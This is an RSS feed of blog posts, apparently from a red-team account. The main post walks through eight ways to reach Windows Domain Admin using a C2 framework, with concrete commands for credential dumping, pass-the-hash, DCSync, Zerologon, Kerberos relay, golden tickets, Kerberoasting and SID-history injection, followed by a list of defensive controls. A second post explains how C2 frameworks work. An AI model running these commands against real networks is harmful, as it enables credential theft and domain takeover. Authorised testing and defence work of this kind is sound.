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    <title>DEV Community: Red Team HQ</title>
    <description>The latest articles on DEV Community by Red Team HQ (@redteamhq).</description>
    <link>https://dev.to/redteamhq</link>
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      <title>8 Ways to get Domain Admin with a C2 (Fast and Easy)</title>
      <dc:creator>Red Team HQ</dc:creator>
      <pubDate>Tue, 17 Nov 2026 15:21:38 +0000</pubDate>
      <link>https://dev.to/redteamhq/8-ways-to-get-domain-admin-with-a-c2-fast-and-easy-3e0m</link>
      <guid>https://dev.to/redteamhq/8-ways-to-get-domain-admin-with-a-c2-fast-and-easy-3e0m</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbjfmymm8t7ylmfqztbg2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbjfmymm8t7ylmfqztbg2.png" alt=" " width="799" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Getting Domain Admin often uses the same tricks that get you local admin on a box, and inside a Windows domain the domain controller is the machine that matters most, take that server and every account plus every joined host is yours, Windows keeps swapping authentication with other machines on its own all day without you touching it, and by default neither side really confirms the other one is real. Local recon and a look around the internal network already tell you the next hop.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Team: Attack vectors and Techniques&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Raising rights in Active Directory means finding access that should not sit in object ACLs, then riding it until the principal is stronger than it started, and that path can swallow domain users, computer accounts, security groups, and the privileged people inside those groups, own one privileged user or one privileged group and you run the whole directory, a full take, not a partial one. Let’s walk the eight ways that actually get you there, the examples use NukeRat (&lt;a href="https://github.com/nukeratframework/nukerat" rel="noopener noreferrer"&gt;https://github.com/nukeratframework/nukerat&lt;/a&gt;), a C2 in the same class as Cobalt Strike, a C2 is simply the panel that stays up after a host is already inside so you can type commands and jump to the next machine, we pick it here because each technique below already has a command in that panel, so the demos stay in one place.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff3fyvoxucsdbrmioc33f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff3fyvoxucsdbrmioc33f.png" alt=" " width="799" height="441"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Steal authentication tokens&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Start on one workstation, raise rights to local admin, then dump what is sitting in memory, Mimikatz or anything in that family pulls local secrets and whoever logged on recently.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-katz --- --Command logonpasswords&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Pulls secrets from every LSASS provider (MSV, Kerberos, WDigest, Tspkg, CredMan), logonpasswords is the full pass, and the same tool also does DCSync, pass the hash, Zerologon, PrintNightmare and HiveNightmare.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-safety-katz&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Same secrets, less noise, it writes LSASS to a minidump, runs Mimikatz in memory for logonpasswords and ekeys, then wipes the file, you need SeDebugPrivilege, and the dump lands in C:\Windows\Temp\debug.bin unless you change it.&lt;/p&gt;

&lt;p&gt;Take the local Administrator material from step 1 and try it on other workstations that still treat that account as admin, keep dumping each box until a Domain Admin logon shows up.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-smb-exec --- username:admin hash:NTLM target:192.168.1.10 command:whoami&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Fires a command on another host over SMB using an NTLM hash, which is pass the hash, you must pass username, hash and target, the hash can be LM:NTLM or NTLM, skip command and add -CheckAdmin if you only want to see if you are admin, and -ForceSMB1 sticks to SMB1.&lt;/p&gt;

&lt;p&gt;Once Domain Admin is in hand, pulling every domain secret and staying inside is open.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-katz --- --Command dcsync --User krbtgt --Domain corp.local --DomainController dc01.corp.local&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Asks a domain controller to replicate secrets as if this host were another DC, --User is who you want (krbtgt here), --Domain and --DomainController point at the directory, and --AuthUser / --AuthDomain / --AuthPassword cover a login that is not already in the session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Password, private key, Pass the Hash, Pass the Ticket&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A password, a key, a hash or a ticket is enough to come back as that account until someone rotates it, service accounts often never expire, so the same secret can sit there for months or years.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-katz --- --Command pth --User admin --Domain corp --NtlmHash HASH&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Pass the hash starts a process or swaps the current logon for --User, --Domain and --NtlmHash, and --Rc4, --aes256 and --Luid are there if you want an existing logon session instead of a new one.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-rubeus --- ptt /ticket:ticket.kirbi&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;net-rubeus talks raw Kerberos in C#, ptt loads a ticket into the current logon, and klist and triage show what is sitting there afterward.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Exploits such as MS17 010, MS16 077 and MS14 068 still help if the patch never landed.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mitm6 is brutal on a normal Windows broadcast LAN, pair it with smbrelay or NTLMrelayx and you can land Domain Admin, including when MS16 077 is missing.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bof-authenticate-http --- localhost 80&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Makes the current user send a Windows authenticated HTTP call toward a relay, ntlmrelayx in the help, the first argument must be a hostname, not an IP, the second is the TCP port, and that HTTP server has to answer 404 on the authenticated request.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-krb-relay-up --- full -d corp.local -c -cn KRBRELAYUP$&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Wraps KrbRelay and Rubeus for directories that do not enforce LDAP signing, full does relay plus spawn, force machine account Kerberos, bounce it to LDAP or ADCS, plant a control (RBCD unless you change it), then start a SYSTEM service, -d is the domain FQDN, -c makes a new computer account, -cn names it, relay / spawn / krbscm are the other phases, and -m shadowcred changes the primitive.&lt;/p&gt;

&lt;p&gt;MS14 068 lets you rewrite a valid Kerberos TGT until it reads Domain Admin and Enterprise Admin, Kekeo inside Mimikatz is the old module for that.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-rubeus --- golden&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Builds a golden ticket from LDAP or from values you type, which is the same end state as a TGT whose PAC says Domain Admin, and silver and diamond are the other forged ticket actions in that tool.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-katz --- --Command zerologon --Mode check --Target dc.corp.local --MachineAccount DC$&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;zerologon is CVE 2020 1472, --Mode can be check, exploit or auto, --Target is the DC hostname, --MachineAccount is the machine account (DC$), and check only probes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Kerberos attack, Tim Medin showed this at SANS Hackfest 2014&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Kerberos can pull service account secrets out of Active Directory as a normal user, none of that traffic has to hit the server that actually runs the service, you ask for a TGS for the SPN you care about using a normal user TGT, weaker checks mean you can try NTLM hashes against that ticket offline until one opens it and you have the service password.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-rubeus --- kerberoast /outfile:hashes.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Asks for TGS tickets on accounts that have an SPN and writes them to /outfile for cracking later, and asreproast in the same tool hits accounts that skip pre auth.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bof-kerberoast --- MSSQLSvc/dc01.corp.local:1433&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Same roast as a BOF, one SPN per call, it asks for an AP REQ and prints a base64 ticket, feed that output through apreq2hashcat.py.&lt;/p&gt;

&lt;p&gt;Kerberos tickets also raise privileges, same point as in the local persistence writeup, you do not need extra rights to get those tickets, and the target host never sees the traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. GPP, local admin passwords sitting in SYSVOL from Group Policy Preferences.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This one barely looks like hacking, open Explorer, search the domain SYSVOL DFS share, look at XML, and most of the time the passwords hide in groups.xml, scheduledtasks.xml and Services.xml.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;findstr /S /I cpassword \\sysvol\policies\*.xml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Plain Windows string search, /S walks folders, /I ignores case, and the help also shows this exact hunt for cpassword under SYSVOL policy XML.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-up --- DomainGPPPassword&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Checks common Windows ways to raise rights, DomainGPPPassword is the GPP password look in the domain, CachedGPPPassword is the copy left on disk, and without audit the checks only run if you already have high integrity or local admin.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-gopher&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;No flags, it walks the local box for easy secrets, including cached GPP, unattended installs, PowerShell history, cloud creds, and saved RDP / PuTTY / WinSCP / VNC data.&lt;/p&gt;

&lt;p&gt;SYSVOL is the public DC share for GP data and logon scripts, every domain user can read it, and if a password is stored there, AES 256 with the key Microsoft published will open it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Delegated privileges&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Delegation lets you hand a server the right to authenticate as you toward another service, the usual case is a service that must call a second service in the user’s name, plain version, a user or a computer can pretend to be someone else, you set this on the Delegation tab of the user or computer, pick “Trust this computer for delegation to any service (Kerberos only)” and you just turned on unconstrained delegation, give it a short list of SPNs instead and that is constrained delegation.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-stand-in --- --delegation&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Small AD toolkit for LDAP, ACLs, roasting, GPO, ADCS and machine accounts, --delegation prints unconstrained and constrained objects, --spn prints roastable SPNs, --asrep prints ASREP roastable accounts.&lt;/p&gt;

&lt;p&gt;Turn unconstrained on and every account that touches that computer leaves a TGT in memory for later impersonation, a privileged user hits your box, the TGT stays, you replay it and the domain controller is next.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bof-tgtdeleg --- /target:CIFS/dc.corp.local&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Pulls a usable TGT through GSS API delegation abuse, /target is the SPN you talk to.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-rubeus --- s4u /user:svc /rc4:HASH /impersonateuser:admin /msdsspn:cifs/dc01 /ptt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;S4U constrained delegation, the service account (/user plus /rc4 hash) impersonates someone else (/impersonateuser) toward an SPN (/msdsspn) and ptt injects the ticket.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Nested groups&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most directories nest groups instead of staying flat, John may be a member of Group A, Group A of Group B, Group B of Group C, Group C of Domain Admins, and John is then a domain administrator even though a flat member list never shows it, the gain over doing this by hand is one query, no matter how big the directory is.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-ad-collector --- --NGAGP jane.doe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Light AD recon, a default run already hits trusts, privileged users, delegation, GPP cpassword, nested groups and more, and --NGAGP narrows that to nested group membership and applied GPOs for one samaccountname, still one query.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-hound --- -c Group,ACL -d corp.local&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;BloodHound collector, -c chooses what to gather (Group and ACL here, plus Session, Trusts, DCOnly, All and others), -d is the domain, the files go into BloodHound CE, and --stealth with -c DCOnly is the quieter pass.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Domain Trust &amp;amp; SID History&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;People map trusts to find extra rooms to walk through in a forest with more than one domain, a trust means one domain accepts logons proven by another, users from the trusted side can then use resources on the trusting side, and that map feeds SID History injection, pass the ticket, and Kerberoasting.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;net-sharp-view --- Get-DomainTrust&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;PowerView in .NET, Get-DomainTrust lists the trust links, the same binary also has Get-Domain, Get-DomainUser, Get-DomainGroup, Invoke-Kerberoast and Find-InterestingDomainAcl, with -Domain, -Server and -Credential on most methods, and -Help prints each method’s flags.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bof-add-sidhistory --- {target} {sid}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Writes a SID onto the target object’s sidHistory, it speaks LDAP 389 with signing and sealing, or LDAPS 636 with --ldaps, and -ou / -dc are optional.&lt;/p&gt;

&lt;p&gt;Pass the Ticket and Kerberoasting across that trust are the same commands as above.&lt;/p&gt;

&lt;p&gt;`net-rubeus --- ptt /ticket:ticket.kirbi&lt;/p&gt;

&lt;p&gt;net-rubeus --- kerberoast /outfile:hashes.txt`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BLUE TEAM: Detective and Preventive Controls&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not park Domain Admin on anything but domain controllers, or the first workstation that admin touches becomes the hole, stick to the basics that make this path expensive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Endpoint Level:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Buy detection and prevention on the host, AV lowers the chance of a foothold, and if one lands it should at least fire so you can clean it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Push Group Policy that actually holds, no removable media, no random software, least privilege, lock down CMD, disable Guest, password length, password age, no anonymous SID listing in AD, a tighter Control Panel, plus whatever else the org still needs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install the monthly Microsoft patches and ship 0 day fixes as soon as they exist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use AppLocker, allow lists and block lists based on what the business actually runs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Privileged Access Management from Microsoft is how you hand out Directory Services rights on purpose.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Stand up SIEM and feed it the other detection sources, then watch the alerts, hook sysmon in if you can, and watch those registry keys for anyone poking them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Split accounts so a local admin on a workstation is never Domain Admin anywhere else.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Network Level:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;NIDS and NIPS catch and stop attacks on the wire.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Honeypots and canary tokens show the probe before the big hit.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Segment the network, put systems that hold sensitive data behind extra distance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tarpits slow worms and noisy abuse on the LAN.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SIEM again, tied to the same sources, sysmon into SIEM covers a lot of the lateral movement IDs.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Process Level:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Prep is what lets you see it and answer it, train people on a schedule so the org is not guessing during an incident.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Do not share local accounts.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keep a separate domain user and a separate server admin.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keep the secure baseline, do not treat it as a one time GPO.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Write incident response for breaches, leaks, and the rest of the threat list.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Train staff on current threats and on the tools that actually show up.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>cybersecurity</category>
      <category>redteam</category>
      <category>security</category>
      <category>infrastructure</category>
    </item>
    <item>
      <title>Command and Control (C2): The invisible screen behind almost every cyber attack</title>
      <dc:creator>Red Team HQ</dc:creator>
      <pubDate>Tue, 17 Nov 2026 02:14:27 +0000</pubDate>
      <link>https://dev.to/redteamhq/command-and-control-c2-the-invisible-screen-behind-almost-every-cyber-attack-c8d</link>
      <guid>https://dev.to/redteamhq/command-and-control-c2-the-invisible-screen-behind-almost-every-cyber-attack-c8d</guid>
      <description>&lt;p&gt;The cockpit behind ransomware headlines is the same panel red teams use. A look inside command and control.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe3l5cyv73dljfbtgnuqd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe3l5cyv73dljfbtgnuqd.png" alt=" " width="800" height="448"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Behind almost every cyber attack there is a screen still on, the C2, the hub that takes over the machine already inside the network, one command and the operator runs the session, another and the compromise moves, the secret cockpit of the operation, and in part it is. The story does not end with the criminal, though, that same panel sits on the other side, pentest, red team, C2 is what professionals use to find the hole first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What a C2 does&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The job of a C2 is to stay in after access, once a host is already on the inside the panel is how the operator keeps the session alive, sends a command, gets the output, walks the file system, hops to the next machine, and pulls the proof back to the hub, the same function in a live intrusion and in an authorized test, remote control after the door is already open.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How a C2 works&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Command and control tools are more accessible than they look, there are paid options used by the cyber security community, Cobalt Strike is still the name everybody cites, but there are free options too, open source, like Sliver, Havoc, or the NukeRat framework.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;But what does a C2 look like on the inside?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A C2 is three pieces talking to each other, and in the NukeRat framework, for example, that split is easy to see: the client is the operator panel, the team server is the hub, and the implant is the agent that runs on the test machine and does the callback, that “I am here” that opens the session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5uek72dai4xfo4wrredd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5uek72dai4xfo4wrredd.png" alt=" " width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The client looks like a cockpit, with a host list, a terminal, files, processes and a graph linking one session to another, each node a computer that already called back, and if the operator escalates privilege the node changes color, if two machines are connected by relay the arrow shows the channel type.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fznslqhw89w9jnqpqt7ip.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fznslqhw89w9jnqpqt7ip.png" alt=" " width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The implant ships for Windows, Linux and macOS, and after it runs it talks to a listener, the port the server leaves open just for that conversation, from there the operator sends commands, browses the system and tries to jump to another host on the network, in an authorized exercise that is post-exploitation simulation, without authorization the same flow becomes a botnet.&lt;/p&gt;

&lt;p&gt;Traffic does not always go over obvious HTTP, a framework like NukeRat, for example, can also push C2 through everyday platforms, Telegram, Discord and the like, the same logic as 2017, when ToxicEye used Telegram to take orders, the channel blends into the rest of the internet and who sits on the other side is what changes.&lt;/p&gt;

&lt;p&gt;Once the session is open the armory comes in, more than 550 ready-made tools, a lot of them BOF and .NET, the kind of utility the operator fires without building everything by hand, and the server still logs commands, IOCs and compromised hosts, which turn into the report at the end of the test.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Filmwt0txa4a04vuue3zr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Filmwt0txa4a04vuue3zr.png" alt=" " width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the inside a C2 is that, panel, hub, agent and a channel, Cobalt Strike sells the package, Sliver, Havoc and frameworks like NukeRat ship the open version, criminals use the same skeleton, and the difference is still authorization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;C2 is a legitimate tool, and in a security test it actually matters, without a panel like this the professional cannot replay what happens after the host is compromised, cannot measure detection, cannot close the report with the same flow an intruder would use. The problem is the other side of the same piece, because software does not pick an owner, and what was built for pentest, red team and authorized exercise ends up, unfortunately, in a criminal’s routine, Telegram, botnet, ransom, the invisible screen in the headline. The hub stays the same, what separates analysis from an incident is authorization, scope, and who is sitting in front of the client.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tools</category>
    </item>
    <item>
      <title>NukeRat — Advanced Post-Exploitation &amp; Red Team Framework</title>
      <dc:creator>Red Team HQ</dc:creator>
      <pubDate>Sun, 15 Nov 2026 19:52:19 +0000</pubDate>
      <link>https://dev.to/redteamhq/nukerat-advanced-post-exploitation-red-team-framework-1fj2</link>
      <guid>https://dev.to/redteamhq/nukerat-advanced-post-exploitation-red-team-framework-1fj2</guid>
      <description>&lt;p&gt;NukeRat is a post-exploitation framework designed for advanced Red Team operations across Windows, Linux, and macOS environments. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/nukeratframework/nukerat" rel="noopener noreferrer"&gt;https://github.com/nukeratframework/nukerat&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fryja2r3nn4zkyc4p5sy1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fryja2r3nn4zkyc4p5sy1.png" alt=" " width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
    </item>
  </channel>
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